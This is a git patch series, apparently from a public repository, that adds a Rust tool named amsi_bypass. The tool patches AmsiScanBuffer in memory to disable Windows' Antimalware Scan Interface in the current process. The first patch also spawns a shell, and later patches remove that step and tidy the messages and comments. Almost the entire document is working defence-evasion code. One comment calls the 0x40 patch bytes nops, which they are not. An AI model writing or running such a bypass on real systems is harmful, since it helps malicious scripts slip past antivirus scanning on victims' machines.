From 0ed3f81d3f40a12bfe03c9ae002c2d843da162e1 Mon Sep 17 00:00:00 2001
From: Idov31 <ido.veltzman@gmail.com>
Date: Wed, 2 Feb 2022 18:19:47 +0200
Subject: [PATCH 1/3] Add amsi bypass

---
 amsi_bypass/Cargo.toml  | 14 +++++++++++
 amsi_bypass/src/main.rs | 52 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 66 insertions(+)
 create mode 100644 amsi_bypass/Cargo.toml
 create mode 100644 amsi_bypass/src/main.rs

diff --git a/amsi_bypass/Cargo.toml b/amsi_bypass/Cargo.toml
new file mode 100644
index 0000000..1946611
--- /dev/null
+++ b/amsi_bypass/Cargo.toml
@@ -0,0 +1,14 @@
+[package]
+name = "amsi_bypass"
+version = "0.1.0"
+authors = ["Idov31 <github.com/idov31>"]
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[[bin]]
+name = "amsi_bypass"
+path = "src/main.rs"
+
+[dependencies]
+winapi = {version = "0.3.9", features=["memoryapi", "libloaderapi", "processthreadsapi"]}
+win32-error = "0.9.0"
diff --git a/amsi_bypass/src/main.rs b/amsi_bypass/src/main.rs
new file mode 100644
index 0000000..06a32a7
--- /dev/null
+++ b/amsi_bypass/src/main.rs
@@ -0,0 +1,52 @@
+use std::{ffi::CString, ptr};
+use std::process::Command;
+
+use winapi::{
+    um::{
+    memoryapi::{
+        VirtualProtect,
+        WriteProcessMemory
+    },
+    libloaderapi::{
+        LoadLibraryA,
+        GetProcAddress
+    },
+    processthreadsapi::GetCurrentProcess, 
+    winnt::PAGE_READWRITE
+    }, 
+    shared::{
+        minwindef::{
+            DWORD, 
+            FALSE
+        },
+        ntdef::NULL
+    }
+};
+
+fn main() {
+    println!("[+] Patching 4ms1 for current process...");
+
+    unsafe {
+        // Getting the address of AmsiScanBuffer.
+        let patch = [0x40, 0x40, 0x40, 0x40, 0x40, 0x40];
+        let amsi_dll = LoadLibraryA(CString::new("amsi").unwrap().as_ptr());
+        let amsi_scan_addr = GetProcAddress(amsi_dll, CString::new("AmsiScanBuffer").unwrap().as_ptr());
+        let mut old_permissions: DWORD = 0;
+        
+        // Overwrite this address with nops.
+        if VirtualProtect(amsi_scan_addr.cast(), 6, PAGE_READWRITE, &mut old_permissions) == FALSE {
+            panic!("[-] Failed to change protection.");
+        }
+        let written: *mut usize = ptr::null_mut();
+
+        if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE {
+            panic!("[-] Failed to overwrite function.");
+        }
+        VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
+
+        // Spawn the new powershell.
+        println!("[+] AmsiScanBuffer patched!\n[*] Spawning powershell...");
+        let mut powershell = Command::new("cmd");
+        powershell.spawn();
+    }
+}

From 4f6f33714b8b2ec8c9d91edb026b6c02802b36a5 Mon Sep 17 00:00:00 2001
From: Idov31 <ido.veltzman@gmail.com>
Date: Wed, 2 Feb 2022 20:14:09 +0200
Subject: [PATCH 2/3] Removed powershell spawning

---
 amsi_bypass/src/main.rs | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/amsi_bypass/src/main.rs b/amsi_bypass/src/main.rs
index 06a32a7..94c6df7 100644
--- a/amsi_bypass/src/main.rs
+++ b/amsi_bypass/src/main.rs
@@ -45,8 +45,6 @@ fn main() {
         VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
 
         // Spawn the new powershell.
-        println!("[+] AmsiScanBuffer patched!\n[*] Spawning powershell...");
-        let mut powershell = Command::new("cmd");
-        powershell.spawn();
+        println!("[+] AmsiScanBuffer patched!");
     }
 }

From 63064fe1a62a9c144c7fb4e4331444e7f91d02b3 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Wed, 2 Feb 2022 20:23:16 +0200
Subject: [PATCH 3/3] Fixed comments

---
 amsi_bypass/src/main.rs | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/amsi_bypass/src/main.rs b/amsi_bypass/src/main.rs
index 94c6df7..e16665c 100644
--- a/amsi_bypass/src/main.rs
+++ b/amsi_bypass/src/main.rs
@@ -24,7 +24,7 @@ use winapi::{
 };
 
 fn main() {
-    println!("[+] Patching 4ms1 for current process...");
+    println!("[+] Patching amsi for current process...");
 
     unsafe {
         // Getting the address of AmsiScanBuffer.
@@ -42,9 +42,9 @@ fn main() {
         if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE {
             panic!("[-] Failed to overwrite function.");
         }
-        VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
 
-        // Spawn the new powershell.
+        // Restoring the permissions.
+        VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions);
         println!("[+] AmsiScanBuffer patched!");
     }
 }